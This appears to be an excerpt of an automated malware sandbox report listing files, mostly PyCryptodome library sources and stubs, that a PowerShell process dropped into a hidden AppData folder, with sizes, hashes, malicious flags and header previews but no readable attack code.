              SHA1:91130A7F119D380B583D0AA5238A3142A90F1299
              SHA-256:9EC53C4D0531806B15C4AC4A4E3DF0B279DE3B85FB4F42874F855A99E5E1D72A
              SHA-512:2117B21C5AE23CABE694F0E1D18B1BD558F3C1CE69C079A85F79609D515ABE3D0BED4B4061541FBD17C9541300461FD94DB78A723D78DBD030A069E35F03DA04
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........em...>...>...>...>...>...?...>...?...>...>...>...?...>...?...>...?...>...?...>...?...>...>...>...?...>Rich...>........................PE..L...<..e...........!...%..... ......T.....................................................@.............................h...h...d...................................x...................................@...............|............................text...5........................... ..`.rdata..............................@..@.data...p...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_openssh.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5261
              Entropy (8bit):5.187172722384075
              Encrypted:false
              SSDEEP:
              MD5:1BCBC8A97A925C34AAA01860EE4D8D63
              SHA1:CCF52E350B94DA06E6D8980E31CB93300A70B1C4
              SHA-256:B92D60974EF5FF39314516C2FA7ADF20886C4201C9AEA68EC633F921D4ED4B63
              SHA-512:BF9AB4DC9294CC4E70D500E594D72923722EC9A528B59881649730B89E4B6F89CCFD3E056A4DCEE0A59B416CEC513C2F7D97C326B680149173BAE01C9DC99394
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2019, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_openssh.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):331
              Entropy (8bit):4.758113161274864
              Encrypted:false
              SSDEEP:
              MD5:8BEBFA73A502269CB8A0C4CE6C714C5A
              SHA1:176037806AA4E83D03FEDCC40CBACF9D1D5F675A
              SHA-256:564C2B01DC5D096BF508761DB881E201172E2D60E939BA2F78E20BE46A74DDA0
              SHA-512:50C4AE1F408F98EA4650966444F3E552559A3D92ED79EC66E0C3424A6EBAA11AD577F47853C91BCDC1B5910C2A2815D55CCEFD23D5C1E0BD4F02136CCB3D8884
              Malicious:false
              Reputation:unknown
              Preview:from typing import Tuple....def read_int4(data: bytes) -> Tuple[int, bytes]: .....def read_bytes(data: bytes) -> Tuple[bytes, bytes]: .....def read_string(data: bytes) -> Tuple[str, bytes]: .....def check_padding(pad: bytes) -> None: .....def import_openssh_private_generic(data: bytes, password: bytes) -> Tuple[str, bytes]: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_x25519.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):8704
              Entropy (8bit):4.911844496867438
              Encrypted:false
              SSDEEP:
              MD5:A2556847EDC0C83BD663BDCF0DE3CA66
              SHA1:B732652A1EFB8A3CFE3203C8ABA35CCD8DCE254A
              SHA-256:50912E465830D1DBA13CA796D1B09FC85DEC83C9EF1C2AB1948366FD95B7C0BC
              SHA-512:9F93B8C70B8D5EA9E16959F90535F92A73CC7A178BD2BD51D11EF5F59EFEDB0AD4A1A435B63AE85A7D824F661221964E2F1B69AF38F18BB7A74B4F0B3EE07A7C
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................R.................................................N.......N.......N>......N......Rich....................PE..L...;..e...........!...%............N........ ...............................`............@.........................@%..P....%..P....@.......................P..@....!...............................!..@............ ..h............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Random\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1866
              Entropy (8bit):5.171387928684167
              Encrypted:false
              SSDEEP:
              MD5:F6DAA1095142342733AB132C05D1DDFE
              SHA1:1EBAFA39A224F69887333A00E0AE1BD69178315E
              SHA-256:05E8D3E5D2B18C1731189DB337B04CB83E966DC385930836FA22E9EE0F376FB9
              SHA-512:246058D7F397CDCACE81B09FDEBA5B17C240264A70375D99B4FD0FFBFFC54208D312BC38894E74B531BD3F9CB40105FA9DD834C74250B73A0C8E8DB583FB0E41
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Random/__init__.py : PyCrypto random number generation..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ==

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Random\__init__.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):386
              Entropy (8bit):4.828244249619416
              Encrypted:false
              SSDEEP:
              MD5:A4CDA07BACD9EDBD7C0243B029D79400
              SHA1:B068F43B0EAE31972C2B6C6335BBCA2497B948FB
              SHA-256:3A9548EF07A83C2F2BF7DB05EDB776BD788B9D9C112EA8155333242839CC27D7
              SHA-512:A1412BAF95D6910D821B927BE91CFD740F2DD8A98E259950E5FF06409CEC8E01EB6B06AC1747A8FF06098849142EBF2754AEED361FFCD37954FFFC13BCE1D3C0
              Malicious:false
              Reputation:unknown
              Preview:from typing import Any....__all__ = ['new', 'get_random_bytes']....from os import urandom....class _UrandomRNG(object):.... def read(self, n: int) -> bytes:..... def flush(self) -> None: ..... def reinit(self) -> None: ..... def close(self) -> None: .......def new(*args: Any, **kwargs: Any) -> _UrandomRNG: .......def atfork() -> None: .......get_random_bytes = urandom....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Random\random.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5372
              Entropy (8bit):4.828979692628258
              Encrypted:false
              SSDEEP:
              MD5:3BD14C0DD7FE75741EE0742BDA794418
              SHA1:31B75C61FEA51D7E69247B3D47FC37DE5247C817
              SHA-256:01ADBD3F51A22F71EDD8B3FB3F45BB849C9D9A46E00A7CFD25C28EA780512E3C
              SHA-512:4FE054877C0749994FDE32CEA437C659FD2B406E3E057A2D9C27ADCFF6E556D8FEC48615B01AAD7B6502B40E5CF7C2CA342B626DB8D07F191E2D63FBD9E15E28
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Random/random.py : Strong alternative for the standard 'random' module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# C

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Random\random.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):854
              Entropy (8bit):4.891350639959851
              Encrypted:false
              SSDEEP:
              MD5:0B01F3499238530A9A99E48F305DB9AC
              SHA1:7AE9ADEAF96CF6B47C721A124AA568AB1A0B605C
              SHA-256:043AEDA2F263A42A0086FCBB0CA801FF1D9BF396FFCC966452FF25DD5030A013
              SHA-512:4CDCFA0E53EBE9F65207817A79419F6C60E6F0BB51EF4ECDB89736244058A690410F767EC8AAAC2C2B10BDB38361E0F60FCD3DF3580639935A423A0E6E068517
              Malicious:false
              Reputation:unknown
              Preview:from typing import Callable, Tuple, Union, Sequence, Any, Optional, TypeVar....__all__ = ['StrongRandom', 'getrandbits', 'randrange', 'randint', 'choice', 'shuffle', 'sample']....T = TypeVar('T')....class StrongRandom(object):.. def __init__(self, rng: Optional[Any]=None, randfunc: Optional[Callable]=None) -> None: ... # TODO What is rng?.. def getrandbits(self, k: int) -> int: ..... def randrange(self, start: int, stop: int = ..., step: int = ...) -> int: ..... def randint(self, a: int, b: int) -> int: ..... def choice(self, seq: Sequence[T]) -> T: ..... def shuffle(self, x: Sequence) -> None: ..... def sample(self, population: Sequence, k: int) -> list: ......._r = StrongRandom()..getrandbits = _r.getrandbits..randrange = _r.randrange..randint = _r.randint..choice = _r.choice..shuffle = _r.shuffle..sample = _r.sample..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3680
              Entropy (8bit):5.085786985818767
              Encrypted:false
              SSDEEP:
              MD5:CF0E3F50FEEC49E1E243B3576BC34E7A
              SHA1:D9AD4301C9F023D2067384BB241859B032B6C92B
              SHA-256:EC3B0CB878618BF4A7ADCF497146F4CA3F203B448EA510ABE8B72C9A55568347
              SHA-512:A4C3C13B23ECD0B8E20726C92741BE318CDD5DC39BD4125246EF06227F1DD2534B378F88B305AB6AC51A7ECABA88A4E80B9956BC9B234666F316516E5EE513F7
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/__init__.py: Self-test for cipher modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WIT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\common.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):17826
              Entropy (8bit):4.6460648083415315
              Encrypted:false
              SSDEEP:
              MD5:8D17B3809421F8A3272394DE1E9F13E0
              SHA1:3B0A85C4645452F4D5397720A19139A0A0520A19
              SHA-256:4BE599673037E90D439F42B30E06F975F906E92135820B3B14808FEE7BF44339
              SHA-512:F08B0F988B52906991668DC6B5236B4D47F9074BEBB2BE164D37D01E964CB8F14A2CE7BAC3D035651347A53AC6D9497E733B422D04E79924316A31158129418A
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Hash/common.py: Common code for Crypto.SelfTest.Hash..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_AES.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):73082
              Entropy (8bit):4.7352476642791395
              Encrypted:false
              SSDEEP:
              MD5:D5746D4A7B92D02CD239C5141A758A90
              SHA1:F4898202BCB85AA3A95BF963C258DA625C140868
              SHA-256:C63E2F372BCC41EC2C4667A8C8036378D920F96E66EA6E74F1061AE18FC2C181
              SHA-512:C07BEE7D084F6934DB1814C8B69124ECF4FE72933FF5960A880C719E58628244D9554103110ECE7F56DBEA410A0FB751EFC848A5DB36CB8537E9B2ED54976B8A
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/AES.py: Self-test for the AES cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_ARC2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6621
              Entropy (8bit):5.305716519169683
              Encrypted:false
              SSDEEP:
              MD5:B87A188050AF2A09D7F1D295134E9194
              SHA1:7F6A2BE8054831EF69A90CC7C94D3807DC93C3B0
              SHA-256:82C1FE3F3E2A2056EEFE5C7A2FF0DB52A8BA12012411BA8692636044B5D47D14
              SHA-512:B215E0107A44D86ABFA9103F06FED3CC6E44F6090AF0E47A62094EDF21F17090112A168397D201E967787D2EDCBB4F07236D980746DC208DB33AB06000E5DC0F
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/ARC2.py: Self-test for the Alleged-RC2 cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_ARC4.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):25450
              Entropy (8bit):4.102295070491694
              Encrypted:false
              SSDEEP:
              MD5:A628F3159DB22911E3886971DF0D9116
              SHA1:01D491D6C9867B3B8C2D4966B108864EB0FC6EF0
              SHA-256:4B5535377C5F07E7A2BEB41443BEAE9E340C3F0E0C2CCE7770BBA489CFF57E20
              SHA-512:5B2F8A7E1ACC453656251E0FADB2762AD65FEB141EA9A162C345F25F0AB873E5B7B742E149BA086F7B8449B169C91D7EA3BDCE49434B65BCFE881A068A8C66C3
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/ARC4.py: Self-test for the Alleged-RC4 cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_Blowfish.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7390
              Entropy (8bit):5.2680859039459165
              Encrypted:false
              SSDEEP:
              MD5:8B80D84AFCCD46C28B9EAF5C6AD7442F
              SHA1:ADE78A3D2095C7FDE77D6CEB5F4DFB3BA39AD9AE
              SHA-256:91F26B656B58BA5C73C57DA0AE5B48F5A911D82DB12738B59AE5C8B82F96270C
              SHA-512:88261BDD58287685C66982D85673A9E8264B88B4863E74A7601B462D35EBB6229D6282F996045209F0FC57FCF2BDB77403BA30117D994E16F61681224EA6D311
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/test_Blowfish.py: Self-test for the Blowfish cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_CAST.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3380
              Entropy (8bit):5.2648285141796896
              Encrypted:false
              SSDEEP:
              MD5:42CD9C86B6A76226293A43A9310F0310
              SHA1:FD751A06B182925F0F45813E3BCDE1F26D0D2078
              SHA-256:98A16555489559E0B93F6338A7CA46516232DF195093859CFAF3EFB05B9AB7FA
              SHA-512:0D029235022EBEEE6131986449A84ABD1F64A31B04A51C73F6A1AE42CC0F60B7F4189BFEB7BE843339A8C3082BD578A8B110C7DCDB78C34B74E2512F5E0CE36D
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/CAST.py: Self-test for the CAST-128 (CAST5) cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_CBC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20758
              Entropy (8bit):4.976686485008944
              Encrypted:false
              SSDEEP:
              MD5:120D405F44D54B6CFAFFAFB1AEAC7A16
              SHA1:56AB7734215AD736C4D1026CE236069AEC97FAD7
              SHA-256:C2D96EA70E4CA1A31C148E7E1A3A44F696596DF00992D51A4868D96465B2E332
              SHA-512:421C0CA1FEC6CDED7CE2E1D7BA7C71A0192DDCB274E6C683F0E6236C2F6ACB2B85A01D687C919A8C95C053EDE5FB308F113D3D7BB45063D1EBF6B78D8032160A
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_CCM.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):38240
              Entropy (8bit):4.91982351735035
              Encrypted:false
              SSDEEP:
              MD5:A685CF6BD22AB69D370F92B81D9C0E59
              SHA1:7EA6F54B4469B4B033D82BB5BFFC5659D967AA15
              SHA-256:A8351FB17A8A7B405D4FF76C2B596848FF5239A3E4D5E7F699240A4C96D71462
              SHA-512:2DA781592EA409DDBB7C15F14E29F09F58B1A304609E0F0061D086ADBB8AEB683E87E9200F7DB6B036B2ED86175FC61DED04FD2BB060541D65EE1A1752F573E6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_CFB.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16472
              Entropy (8bit):4.9687403467675555
              Encrypted:false
              SSDEEP:
              MD5:01F0F6D83AB2952197EAEB8F0F83A00D
              SHA1:43D59454591AEB6F9DA2B8DC92E2B9BF5C4B8544
              SHA-256:9EA26EEBF360B5271B9A4FFB3A961CB19114903906D37FB1DEF604E25BF433EB
              SHA-512:0F4807944F16CD43FD0DD1EA59AD9A0B4467A0843C6FB844E50D8314C5DF5BBDF4448646479397686660062A82B632097CB2B7DFC429B3B302D140B537F04A2F
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_CTR.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):21786
              Entropy (8bit):5.096707176497335
              Encrypted:false
              SSDEEP:
              MD5:AE67CABCE5676ADF76D54C20328CA40E
              SHA1:6009537CE1C06784B2304C11D37BA964F54BB258
              SHA-256:4A24DAB89ED26A137BB8ED94B121623FDFE98B1E1582A1B259D8F8A4C9FEBFFE
              SHA-512:FE9C0CA688E90F6A6A88C10E72B07D7486D86B2F2D80DFF3D74098D6EEE7460810BD3E4737C1B7D68E9FBA621989D3ECE742E792C2EC8D8FD17831E7CA918CA9
              Malicious:false
              Reputation:unknown
